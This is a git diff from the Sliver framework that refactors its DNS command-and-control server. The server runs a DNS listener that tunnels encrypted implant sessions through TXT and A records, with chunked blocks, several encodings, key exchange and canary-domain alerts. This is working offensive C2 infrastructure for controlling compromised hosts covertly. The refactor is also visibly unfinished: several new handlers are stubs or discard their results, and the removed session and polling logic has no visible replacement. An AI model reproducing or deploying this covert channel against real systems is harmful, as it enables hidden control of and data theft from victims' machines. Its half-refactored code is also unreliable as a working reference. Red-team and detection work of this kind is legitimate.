@@ -15,9 +15,9 @@ import (
|
||||
serverHandlers "github.com/bishopfox/sliver/server/handlers"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/netstack"
|
||||
"github.com/golang/protobuf/proto"
|
||||
"golang.zx2c4.com/wireguard/conn"
|
||||
"golang.zx2c4.com/wireguard/device"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
|
||||
+232
-529
@@ -16,58 +16,50 @@ package c2
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
------------------------------------------------------------------------
|
||||
|
||||
DNS command and control implementation
|
||||
|
||||
---
|
||||
DNS Tunnel Implementation
|
||||
*/
|
||||
|
||||
import (
|
||||
secureRand "crypto/rand"
|
||||
"crypto/sha256"
|
||||
"crypto/x509"
|
||||
"math"
|
||||
"errors"
|
||||
"hash/crc32"
|
||||
insecureRand "math/rand"
|
||||
"net"
|
||||
"sort"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
"github.com/bishopfox/sliver/protobuf/dnspb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"encoding/base32"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"encoding/pem"
|
||||
|
||||
secureRand "crypto/rand"
|
||||
"errors"
|
||||
"fmt"
|
||||
insecureRand "math/rand"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
serverHandlers "github.com/bishopfox/sliver/server/handlers"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
|
||||
"github.com/golang/protobuf/proto"
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
const (
|
||||
sessionIDSize = 12
|
||||
|
||||
domainKeyMsg = "_domainkey"
|
||||
blockReqMsg = "b"
|
||||
clearBlockMsg = "cb"
|
||||
|
||||
sessionInitMsg = "si"
|
||||
sessionPollingMsg = "sp"
|
||||
sessionEnvelopeMsg = "se"
|
||||
|
||||
// Max TXT record is 255, records are b64 so (n*8 + 5) / 6 = ~250
|
||||
byteBlockSize = 185 // Can be as high as n = 187, but we'll leave some slop
|
||||
blockIDSize = 6
|
||||
@@ -78,23 +70,59 @@ var (
|
||||
|
||||
dnsCharSet = []rune("abcdefghijklmnopqrstuvwxyz0123456789_")
|
||||
|
||||
sendBlocksMutex = &sync.RWMutex{}
|
||||
sendBlocks = &map[string]*SendBlock{}
|
||||
|
||||
dnsSessionsMutex = &sync.RWMutex{}
|
||||
dnsSessions = &map[string]*DNSSession{}
|
||||
dnsSessions = map[string]*DNSSession{}
|
||||
|
||||
blockReassemblerMutex = &sync.RWMutex{}
|
||||
blockReassembler = &map[string][][]byte{}
|
||||
sendBlocksMutex = &sync.RWMutex{}
|
||||
sendBlocks = map[uint32]*Block{}
|
||||
|
||||
dnsSegmentReassemblerMutex = &sync.RWMutex{}
|
||||
dnsSegmentReassembler = &map[string](*map[int][]string){}
|
||||
recvBlocksMutex = &sync.RWMutex{}
|
||||
recvBlocks = map[uint32]*Block{}
|
||||
)
|
||||
|
||||
// SendBlock - Data is encoded and split into `Blocks`
|
||||
type SendBlock struct {
|
||||
ID string
|
||||
Data []string
|
||||
// Block - A blob of data that we're sending or receiving, blocks of data
|
||||
// are split up into arrays of bytes (chunks) that are encoded per-query
|
||||
// the amount of data that can be encoded into a single request or response
|
||||
// varies depending on the type of query and the length of the parent domain.
|
||||
type Block struct {
|
||||
ID uint32
|
||||
data [][]byte
|
||||
Size int
|
||||
Started time.Time
|
||||
Mutex sync.RWMutex
|
||||
}
|
||||
|
||||
func (b *Block) AddData(index int, data []byte) (bool, error) {
|
||||
b.Mutex.Lock()
|
||||
defer b.Mutex.Unlock()
|
||||
if len(b.data) < index+1 {
|
||||
return false, errors.New("Data index out of bounds")
|
||||
}
|
||||
b.data[index] = data
|
||||
sum := 0
|
||||
for _, data := range b.data {
|
||||
sum += len(data)
|
||||
}
|
||||
return sum == b.Size, nil
|
||||
}
|
||||
|
||||
func (b *Block) GetData(index int) ([]byte, error) {
|
||||
b.Mutex.Lock()
|
||||
defer b.Mutex.Unlock()
|
||||
if len(b.data) < index+1 {
|
||||
return nil, errors.New("Data index out of bounds")
|
||||
}
|
||||
return b.data[index], nil
|
||||
}
|
||||
|
||||
func (b *Block) Reassemble() []byte {
|
||||
b.Mutex.RLock()
|
||||
defer b.Mutex.RUnlock()
|
||||
data := []byte{}
|
||||
for _, block := range b.data {
|
||||
data = append(data, block...)
|
||||
}
|
||||
return data
|
||||
}
|
||||
|
||||
// DNSSession - Holds DNS session information
|
||||
@@ -122,7 +150,7 @@ func (s *DNSSession) isReplayAttack(ciphertext []byte) bool {
|
||||
// --------------------------- DNS SERVER ---------------------------
|
||||
|
||||
// StartDNSListener - Start a DNS listener
|
||||
func StartDNSListener(domains []string, canaries bool) *dns.Server {
|
||||
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool) *dns.Server {
|
||||
StartPivotListener()
|
||||
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
|
||||
|
||||
@@ -131,11 +159,14 @@ func StartDNSListener(domains []string, canaries bool) *dns.Server {
|
||||
handleDNSRequest(domains, canaries, writer, req)
|
||||
})
|
||||
|
||||
server := &dns.Server{Addr: ":53", Net: "udp"}
|
||||
server := &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"}
|
||||
return server
|
||||
}
|
||||
|
||||
// DNSRequest -> C2 or canary?
|
||||
// ---------------------------
|
||||
// DNS Handler
|
||||
// ---------------------------
|
||||
// Handles all DNS queries, first we determine if the query is C2 or a canary
|
||||
func handleDNSRequest(domains []string, canaries bool, writer dns.ResponseWriter, req *dns.Msg) {
|
||||
if req == nil {
|
||||
dnsLog.Info("req can not be nil")
|
||||
@@ -158,7 +189,6 @@ func handleDNSRequest(domains []string, canaries bool, writer dns.ResponseWriter
|
||||
}
|
||||
|
||||
if resp != nil {
|
||||
// dnsLog.Debug(resp.String())
|
||||
writer.WriteMsg(resp)
|
||||
} else {
|
||||
dnsLog.Infof("Invalid query, no DNS response")
|
||||
@@ -177,7 +207,9 @@ func isC2SubDomain(domains []string, reqDomain string) (bool, string) {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
// C2 -> Record type?
|
||||
// The query is C2, pass to the appropriate record handler this is done
|
||||
// so the record handler can encode the response based on the type of
|
||||
// record that was requested
|
||||
func handleC2(domain string, req *dns.Msg) *dns.Msg {
|
||||
subdomain := req.Question[0].Name[:len(req.Question[0].Name)-len(domain)]
|
||||
if strings.HasSuffix(subdomain, ".") {
|
||||
@@ -187,24 +219,26 @@ func handleC2(domain string, req *dns.Msg) *dns.Msg {
|
||||
switch req.Question[0].Qtype {
|
||||
case dns.TypeTXT:
|
||||
return handleTXT(domain, subdomain, req)
|
||||
case dns.TypeA:
|
||||
return handleA(domain, subdomain, req)
|
||||
default:
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ---------------------------
|
||||
// Canary Record Handler
|
||||
// ---------------------------
|
||||
// Canary -> valid? -> trigger alert event
|
||||
func handleCanary(req *dns.Msg) *dns.Msg {
|
||||
|
||||
reqDomain := strings.ToLower(req.Question[0].Name)
|
||||
if !strings.HasSuffix(reqDomain, ".") {
|
||||
reqDomain += "." // Ensure we have the FQDN
|
||||
}
|
||||
|
||||
canary, err := db.CanaryByDomain(reqDomain)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
resp := new(dns.Msg)
|
||||
resp.SetReply(req)
|
||||
if canary != nil {
|
||||
@@ -239,179 +273,173 @@ func handleCanary(req *dns.Msg) *dns.Msg {
|
||||
return resp
|
||||
}
|
||||
|
||||
// handles the c2 TXT record interactions, kind hacky this probably needs to get refactored at some point
|
||||
func randomIP() net.IP {
|
||||
randBuf := make([]byte, 4)
|
||||
secureRand.Read(randBuf)
|
||||
|
||||
// Ensure non-zeros with various bitmasks
|
||||
return net.IPv4(randBuf[0]|0x10, randBuf[1]|0x10, randBuf[2]|0x1, randBuf[3]|0x10)
|
||||
}
|
||||
|
||||
// ---------------------------
|
||||
// C2 Record Handlers
|
||||
// ---------------------------
|
||||
func handleTXT(domain string, subdomain string, req *dns.Msg) *dns.Msg {
|
||||
|
||||
q := req.Question[0]
|
||||
fields := strings.Split(subdomain, ".")
|
||||
|
||||
resp := new(dns.Msg)
|
||||
resp.SetReply(req)
|
||||
msgType := strings.ToLower(fields[len(fields)-1])
|
||||
|
||||
switch msgType {
|
||||
|
||||
case domainKeyMsg: // Send PubKey - _(nonce).(slivername).domainkey.example.com
|
||||
result, err := getDomainKeyFor(domain)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Error during session init: %v", err)
|
||||
}
|
||||
txt := &dns.TXT{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
|
||||
Txt: result,
|
||||
}
|
||||
resp.Answer = append(resp.Answer, txt)
|
||||
|
||||
case blockReqMsg: // Get block: _(nonce).(start).(stop).(block id).b.example.com
|
||||
if len(fields) == 5 {
|
||||
startIndex := fields[1]
|
||||
stopIndex := fields[2]
|
||||
blockID := fields[3]
|
||||
txt := &dns.TXT{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
|
||||
Txt: dnsSendBlocks(blockID, startIndex, stopIndex),
|
||||
}
|
||||
resp.Answer = append(resp.Answer, txt)
|
||||
} else {
|
||||
dnsLog.Infof("Block request has invalid number of fields %d expected %d", len(fields), 5)
|
||||
}
|
||||
|
||||
case clearBlockMsg: // Clear block: _(nonce).(block id)._cb.example.com
|
||||
if len(fields) == 3 {
|
||||
result := 0
|
||||
if clearSendBlock(fields[1]) {
|
||||
result = 1
|
||||
}
|
||||
txt := &dns.TXT{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
|
||||
Txt: []string{fmt.Sprintf("%d", result)},
|
||||
}
|
||||
resp.Answer = append(resp.Answer, txt)
|
||||
}
|
||||
|
||||
case "_" + sessionInitMsg:
|
||||
fallthrough
|
||||
case sessionInitMsg: // Session init: (data)...(seq).(nonce).(_)si.example.com
|
||||
result, err := startDNSSession(domain, fields)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Error during session init: %v", err)
|
||||
}
|
||||
txt := &dns.TXT{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
|
||||
Txt: result,
|
||||
}
|
||||
resp.Answer = append(resp.Answer, txt)
|
||||
|
||||
case "_" + sessionEnvelopeMsg:
|
||||
fallthrough
|
||||
case sessionEnvelopeMsg:
|
||||
result, err := dnsSessionEnvelope(domain, fields)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Error during session init: %v", err)
|
||||
}
|
||||
txt := &dns.TXT{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
|
||||
Txt: result,
|
||||
}
|
||||
resp.Answer = append(resp.Answer, txt)
|
||||
|
||||
case sessionPollingMsg:
|
||||
result, err := dnsSessionPoll(domain, fields)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Error during session init: %v", err)
|
||||
}
|
||||
txt := &dns.TXT{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
|
||||
Txt: result,
|
||||
}
|
||||
resp.Answer = append(resp.Answer, txt)
|
||||
|
||||
default:
|
||||
dnsLog.Infof("Unknown msg type '%s' in TXT req", fields[len(fields)-1])
|
||||
checksum, dnsMsg := parseC2Query(subdomain)
|
||||
if dnsMsg == nil {
|
||||
dnsLog.Errorf("Failed to parse TXT query")
|
||||
return nil
|
||||
}
|
||||
|
||||
// Execute action based on message type
|
||||
|
||||
txtRecords := []string{}
|
||||
|
||||
switch dnsMsg.Type {
|
||||
case dnspb.DNSMessageType_DOMAIN_KEY:
|
||||
blockID := handleDomainKeyQuery(domain, dnsMsg)
|
||||
data, _ := proto.Marshal(&dnspb.DNSMessage{
|
||||
N: checksum,
|
||||
Data: blockID,
|
||||
})
|
||||
record := string(new(encoders.Base64).Encode(data))
|
||||
txtRecords = append(txtRecords, record)
|
||||
}
|
||||
|
||||
txt := &dns.TXT{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
|
||||
Txt: txtRecords,
|
||||
}
|
||||
resp.Answer = append(resp.Answer, txt)
|
||||
return resp
|
||||
}
|
||||
|
||||
// --------------------------- FIELDS ---------------------------
|
||||
func handleA(domain string, subdomain string, req *dns.Msg) *dns.Msg {
|
||||
q := req.Question[0]
|
||||
resp := new(dns.Msg)
|
||||
resp.SetReply(req)
|
||||
|
||||
func getFieldMsgType(fields []string) (string, error) {
|
||||
if len(fields) < 1 {
|
||||
return "", errors.New("Invalid number of fields in session init message (nonce)")
|
||||
checksum, dnsMsg := parseC2Query(subdomain)
|
||||
if dnsMsg == nil {
|
||||
dnsLog.Errorf("Failed to parse A query")
|
||||
return nil
|
||||
}
|
||||
return fields[len(fields)-1], nil
|
||||
|
||||
switch dnsMsg.Type {
|
||||
case dnspb.DNSMessageType_NOP:
|
||||
break
|
||||
}
|
||||
|
||||
checksumBuf := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(checksumBuf, checksum)
|
||||
resp.Answer = append(resp.Answer, &dns.A{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 0},
|
||||
A: checksumBuf,
|
||||
})
|
||||
return resp
|
||||
}
|
||||
|
||||
func getFieldSessionID(fields []string) (string, error) {
|
||||
if len(fields) < 2 {
|
||||
return "", errors.New("Invalid number of fields in session init message (session id)")
|
||||
// ---------------------------
|
||||
// C2 Handler
|
||||
// ---------------------------
|
||||
// This parses the C2 message and performs actions based on the request
|
||||
// the response is a CRC32 of the encoded data in the message
|
||||
func parseC2Query(subdomain string) (uint32, *dnspb.DNSMessage) {
|
||||
subdomainData := strings.Join(strings.Split(subdomain, "."), "")
|
||||
dnsLog.Debugf("Subdomain = %v, Data = %v", subdomain, subdomainData)
|
||||
dnsMsg := decodeMessage(subdomainData)
|
||||
if dnsMsg == nil {
|
||||
return 0, nil
|
||||
}
|
||||
sessionID := fields[len(fields)-2]
|
||||
if sessionID == "_" {
|
||||
return "", errors.New("Session ID is null")
|
||||
}
|
||||
return sessionID, nil
|
||||
checksum := crc32.Checksum(dnsMsg.Data, crc32.IEEETable)
|
||||
return checksum, dnsMsg
|
||||
}
|
||||
|
||||
func getFieldNonce(fields []string) (string, error) {
|
||||
if len(fields) < 3 {
|
||||
return "", errors.New("Invalid number of fields in session init message (nonce)")
|
||||
func decodeMessage(subdomainData string) *dnspb.DNSMessage {
|
||||
encoders := detectEncoding(subdomainData)
|
||||
query := &dnspb.DNSMessage{}
|
||||
for _, encoder := range encoders {
|
||||
dnsLog.Debugf("Attempting to decode subdomain data with %v", encoder)
|
||||
data, err := encoder.Decode([]byte(subdomainData))
|
||||
if err != nil {
|
||||
dnsLog.Debugf("Decode attempt failed %s, continue ...", err)
|
||||
continue
|
||||
}
|
||||
err = proto.Unmarshal(data, query)
|
||||
if err != nil {
|
||||
dnsLog.Debugf("Failed to parse pb %s, continue ...", err)
|
||||
continue
|
||||
}
|
||||
return query
|
||||
}
|
||||
return fields[len(fields)-3], nil
|
||||
return nil
|
||||
}
|
||||
|
||||
func getFieldSeq(fields []string) (int, error) {
|
||||
if len(fields) < 4 {
|
||||
return -1, errors.New("Invalid number of fields in session init message (seq)")
|
||||
// This function attempts to detect the most likely encoder used by the implant
|
||||
// we return a list of encoders in order of most likely to least likely
|
||||
func detectEncoding(subdomainData string) []encoders.Encoder {
|
||||
|
||||
// Our version of base32 is missing chars: i, l, o, s
|
||||
// if any of these appear the message must be base62
|
||||
base62Chars := strings.ContainsAny(subdomainData, "silo") // "silo" simply appeases my spell checker
|
||||
if base62Chars {
|
||||
return []encoders.Encoder{new(encoders.Base62)}
|
||||
}
|
||||
rawSeq := fields[len(fields)-4]
|
||||
data, err := dnsDecodeString(rawSeq)
|
||||
|
||||
// Okay now we detect if the message only contains lower case letters
|
||||
// our base32 encoder only uses lower case but a resolver could have
|
||||
// messed with the domain letter cases on the way over to us. So we
|
||||
// say it's likely base62 if it contains a mix but fallback to base32
|
||||
if strings.ContainsAny(subdomainData, "ABCDEFGHIJKLMNOPQRSTUVWXYZ") {
|
||||
return []encoders.Encoder{new(encoders.Base62), new(encoders.Base32)}
|
||||
} else {
|
||||
return []encoders.Encoder{new(encoders.Base32), new(encoders.Base64)}
|
||||
}
|
||||
}
|
||||
|
||||
// --------------------------- DNS HANDLERS ---------------------------
|
||||
func encodeSendBlock(domain string, data []byte) *Block {
|
||||
encodedData := new(encoders.Base64).Encode(data)
|
||||
blockData := [][]byte{}
|
||||
for index := 0; index < len(encodedData); {
|
||||
end := index + 254
|
||||
if len(encodedData) < end {
|
||||
end = len(encodedData)
|
||||
}
|
||||
blockData = append(blockData, encodedData[index:end])
|
||||
index += 254
|
||||
}
|
||||
return &Block{
|
||||
ID: blockID(),
|
||||
Size: len(data),
|
||||
data: blockData,
|
||||
Started: time.Now(),
|
||||
Mutex: sync.RWMutex{},
|
||||
}
|
||||
}
|
||||
|
||||
func handleDomainKeyQuery(domain string, query *dnspb.DNSMessage) []byte {
|
||||
domainKey, err := getDomainKeyFor(domain)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Failed to decode seq field: %#v", rawSeq)
|
||||
return 0, err
|
||||
dnsLog.Errorf("Failed to find domain key for '%s' %s", domain, err)
|
||||
return nil
|
||||
}
|
||||
index := int(binary.LittleEndian.Uint32(data))
|
||||
|
||||
return index, nil
|
||||
block := encodeSendBlock(domain, domainKey)
|
||||
sendBlocksMutex.Lock()
|
||||
defer sendBlocksMutex.Unlock()
|
||||
sendBlocks[block.ID] = block
|
||||
return []byte{}
|
||||
}
|
||||
|
||||
func getFieldSubdata(fields []string) ([]string, error) {
|
||||
if len(fields) < 5 {
|
||||
return []string{}, errors.New("Invalid number of fields in session init message (subdata)")
|
||||
}
|
||||
subdataFields := len(fields) - 4
|
||||
dnsLog.Infof("Domain contains %d subdata fields", subdataFields)
|
||||
return fields[:subdataFields], nil
|
||||
}
|
||||
|
||||
// --------------------------- DNS SESSION START ---------------------------
|
||||
|
||||
// Returns an confirmation value (e.g. exit code 0 non-0) and error
|
||||
func startDNSSession(domain string, fields []string) ([]string, error) {
|
||||
dnsLog.Infof("[start session] fields = %#v", fields)
|
||||
func startDNSSession(msgID uint32, domain string) ([]string, error) {
|
||||
|
||||
msgType, err := getFieldMsgType(fields)
|
||||
if err != nil {
|
||||
return []string{"1"}, err
|
||||
}
|
||||
|
||||
nonce, err := getFieldNonce(fields)
|
||||
if err != nil {
|
||||
return []string{"1"}, err
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(msgType, "_") {
|
||||
return dnsSegment(fields)
|
||||
}
|
||||
dnsLog.Infof("Complete session init message received, reassembling ...")
|
||||
|
||||
// TODO: We don't have replay protection against the RSA-encrypt
|
||||
// sessionInit messages, but I don't think it's an issue ...
|
||||
encryptedSessionInit, err := dnsSegmentReassemble(nonce)
|
||||
if err != nil {
|
||||
return []string{"1"}, err
|
||||
}
|
||||
|
||||
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Failed to fetch RSA private key")
|
||||
@@ -452,7 +480,7 @@ func startDNSSession(domain string, fields []string) ([]string, error) {
|
||||
sessionID := dnsSessionID()
|
||||
dnsLog.Infof("Starting new DNS session with id = %s", sessionID)
|
||||
dnsSessionsMutex.Lock()
|
||||
(*dnsSessions)[sessionID] = &DNSSession{
|
||||
dnsSessions[sessionID] = &DNSSession{
|
||||
ID: sessionID,
|
||||
Session: session,
|
||||
Key: aesKey,
|
||||
@@ -461,359 +489,16 @@ func startDNSSession(domain string, fields []string) ([]string, error) {
|
||||
dnsSessionsMutex.Unlock()
|
||||
|
||||
encryptedSessionID, _ := cryptography.GCMEncrypt(aesKey, []byte(sessionID))
|
||||
result, err := dnsSendOnce(encryptedSessionID)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Failed to encode message into single result %v", err)
|
||||
return []string{"1"}, err
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// --------------------------- DNS SESSION RECV ---------------------------
|
||||
|
||||
func dnsSessionEnvelope(domain string, fields []string) ([]string, error) {
|
||||
dnsLog.Infof("[session envelope] fields = %#v", fields)
|
||||
|
||||
msgType, err := getFieldMsgType(fields)
|
||||
if err != nil {
|
||||
return []string{"1"}, err
|
||||
}
|
||||
|
||||
nonce, err := getFieldNonce(fields)
|
||||
if err != nil {
|
||||
return []string{"1"}, err
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(msgType, "_") {
|
||||
return dnsSegment(fields)
|
||||
}
|
||||
dnsLog.Infof("Complete envelope received, reassembling ...")
|
||||
encryptedDNSEnvelope, err := dnsSegmentReassemble(nonce)
|
||||
if err != nil {
|
||||
return []string{"1"}, errors.New("Failed to reassemble segments")
|
||||
}
|
||||
|
||||
sessionID, err := getFieldSessionID(fields)
|
||||
if err != nil {
|
||||
return []string{"1"}, err
|
||||
}
|
||||
dnsSessionsMutex.Lock()
|
||||
defer dnsSessionsMutex.Unlock()
|
||||
|
||||
if dnsSession, ok := (*dnsSessions)[sessionID]; ok {
|
||||
dnsLog.Infof("Envelope has valid DNS session (%s)", dnsSession.ID)
|
||||
if dnsSession.isReplayAttack(encryptedDNSEnvelope) {
|
||||
dnsLog.Infof("WARNING: Replay attack detected, ignore request")
|
||||
return []string{"1"}, errors.New("Replay attack")
|
||||
}
|
||||
envelopeData, err := cryptography.GCMDecrypt(dnsSession.Key, encryptedDNSEnvelope)
|
||||
if err != nil {
|
||||
return []string{"1"}, errors.New("Failed to decrypt DNS envelope")
|
||||
}
|
||||
envelope := &sliverpb.Envelope{}
|
||||
proto.Unmarshal(envelopeData, envelope)
|
||||
|
||||
dnsLog.Infof("Envelope Type = %#v RespID = %#v", envelope.Type, envelope.ID)
|
||||
|
||||
dnsSession.Session.UpdateCheckin()
|
||||
|
||||
// Response Envelope or Handler
|
||||
handlers := serverHandlers.GetSessionHandlers()
|
||||
if envelope.ID != 0 {
|
||||
dnsSession.Session.RespMutex.Lock()
|
||||
defer dnsSession.Session.RespMutex.Unlock()
|
||||
if resp, ok := dnsSession.Session.Resp[envelope.ID]; ok {
|
||||
resp <- envelope
|
||||
}
|
||||
} else if handler, ok := handlers[envelope.Type]; ok {
|
||||
handler.(func(*core.Session, []byte))(dnsSession.Session, envelope.Data)
|
||||
}
|
||||
return []string{"0"}, nil
|
||||
}
|
||||
dnsLog.Infof("Invalid session id '%#v'", sessionID)
|
||||
return []string{"1"}, errors.New("Invalid session ID")
|
||||
}
|
||||
|
||||
// Client should have sent all of the data, attempt to reassemble segments
|
||||
func dnsSegmentReassemble(nonce string) ([]byte, error) {
|
||||
dnsSegmentReassemblerMutex.Lock()
|
||||
defer dnsSegmentReassemblerMutex.Unlock()
|
||||
if reasm, ok := (*dnsSegmentReassembler)[nonce]; ok {
|
||||
var keys []int
|
||||
for k := range *reasm {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
sort.Ints(keys)
|
||||
orderedSubdata := []string{}
|
||||
for _, k := range keys {
|
||||
orderedSubdata = append(orderedSubdata, (*reasm)[k]...)
|
||||
}
|
||||
data, err := dnsDecodeString(strings.Join(orderedSubdata, ""))
|
||||
if err != nil {
|
||||
dnsLog.Infof("Failed to decode session init: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
//BUG - in the event that the session init msg does not make it to the client, this will fail. This has been
|
||||
//observed consistently (Namely due to the race condition bug that is also being fixed in dnsSessionPoll).
|
||||
//Currently a memory leak. Consider tracking moving the cleanup code to after polling has
|
||||
//begun to ensure the initial handshake was successful.
|
||||
//
|
||||
//delete((*dnsSegmentReassembler), nonce)
|
||||
return data, nil
|
||||
}
|
||||
return nil, fmt.Errorf("Invalid nonce '%#v' (session init reassembler)", nonce)
|
||||
}
|
||||
|
||||
// The domain is only a segment of the startDNSSession message, so we just store the data
|
||||
func dnsSegment(fields []string) ([]string, error) {
|
||||
dnsSegmentReassemblerMutex.Lock()
|
||||
defer dnsSegmentReassemblerMutex.Unlock()
|
||||
|
||||
nonce, _ := getFieldNonce(fields)
|
||||
index, err := getFieldSeq(fields)
|
||||
if err != nil {
|
||||
return []string{"1"}, err
|
||||
}
|
||||
subdata, err := getFieldSubdata(fields)
|
||||
if err != nil {
|
||||
return []string{"1"}, err
|
||||
}
|
||||
if _, ok := (*dnsSegmentReassembler)[nonce]; !ok {
|
||||
(*dnsSegmentReassembler)[nonce] = &map[int][]string{}
|
||||
}
|
||||
if reasm, ok := (*dnsSegmentReassembler)[nonce]; ok {
|
||||
(*reasm)[index] = subdata
|
||||
return []string{"0"}, nil
|
||||
}
|
||||
dnsLog.Infof("Invalid nonce (session segment): %#v", nonce)
|
||||
return []string{"1"}, errors.New("Invalid nonce (session segment)")
|
||||
}
|
||||
|
||||
// TODO: Avoid double-fetch
|
||||
func getDomainKeyFor(domain string) ([]string, error) {
|
||||
_, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
|
||||
if err != nil {
|
||||
certs.C2ServerGenerateRSACertificate(domain)
|
||||
}
|
||||
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return dnsSendOnce(certPEM)
|
||||
}
|
||||
|
||||
// --------------------------- DNS SESSION SEND ---------------------------
|
||||
|
||||
// Send all response data in a single TXT record, limited to 65535 bytes
|
||||
func dnsSendOnce(rawData []byte) ([]string, error) {
|
||||
if 65535 <= base64.RawStdEncoding.EncodedLen(len(rawData)) {
|
||||
return nil, errors.New("Response too large to encode into one TXT record")
|
||||
}
|
||||
data := base64.RawStdEncoding.EncodeToString(rawData)
|
||||
dnsLog.Infof("Encoding single resp: %#v", data)
|
||||
txts := []string{}
|
||||
size := int(math.Ceil(float64(len(data)) / 255.0))
|
||||
for index := 0; index < size; index++ {
|
||||
start := index * 255
|
||||
stop := start + 255
|
||||
if len(data) < stop {
|
||||
stop = len(data)
|
||||
}
|
||||
txts = append(txts, data[start:stop])
|
||||
}
|
||||
return txts, nil
|
||||
}
|
||||
|
||||
func dnsSessionPoll(domain string, fields []string) ([]string, error) {
|
||||
|
||||
sessionID, err := getFieldSessionID(fields)
|
||||
if err != nil {
|
||||
return []string{"1"}, errors.New("invalid session id (session poll)")
|
||||
}
|
||||
dnsSessionsMutex.Lock()
|
||||
dnsSession, found := (*dnsSessions)[sessionID]
|
||||
if !found {
|
||||
dnsSessionsMutex.Unlock()
|
||||
b64SessionId := base64.RawStdEncoding.EncodeToString([]byte(sessionID))
|
||||
return []string{b64SessionId}, errors.New("invalid session (nil pointer)")
|
||||
}
|
||||
dnsSessionsMutex.Unlock()
|
||||
|
||||
isDrained := false
|
||||
envelopes := []*sliverpb.Envelope{}
|
||||
for !isDrained {
|
||||
select {
|
||||
case envelope := <-dnsSession.Session.Send:
|
||||
dnsLog.Infof("New message from send channel ...")
|
||||
envelopes = append(envelopes, envelope)
|
||||
default:
|
||||
isDrained = true
|
||||
}
|
||||
}
|
||||
|
||||
dnsSession.Session.UpdateCheckin()
|
||||
|
||||
if 0 < len(envelopes) {
|
||||
dnsLog.Infof("%d new message(s) for session id %#v", len(envelopes), sessionID)
|
||||
dnsPoll := &sliverpb.DNSPoll{}
|
||||
for _, envelope := range envelopes {
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Failed to encode envelope %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
encryptedEnvelopeData, err := cryptography.GCMEncrypt(dnsSession.Key, data)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Failed to encrypt poll data %v", err)
|
||||
return []string{"1"}, errors.New("Failed to encrypt dns poll data")
|
||||
}
|
||||
|
||||
blockID, size := storeSendBlocks(encryptedEnvelopeData)
|
||||
dnsPoll.Blocks = append(dnsPoll.Blocks, &sliverpb.DNSBlockHeader{
|
||||
ID: blockID,
|
||||
Size: uint32(size),
|
||||
})
|
||||
}
|
||||
pollData, err := proto.Marshal(dnsPoll)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Failed to encode envelope %v", err)
|
||||
return []string{"1"}, errors.New("Failed to encode dns poll data")
|
||||
}
|
||||
encryptedPollData, err := cryptography.GCMEncrypt(dnsSession.Key, pollData)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Failed to encrypt poll data %v", err)
|
||||
return []string{"1"}, errors.New("Failed to encrypt dns poll data")
|
||||
}
|
||||
return dnsSendOnce(encryptedPollData)
|
||||
}
|
||||
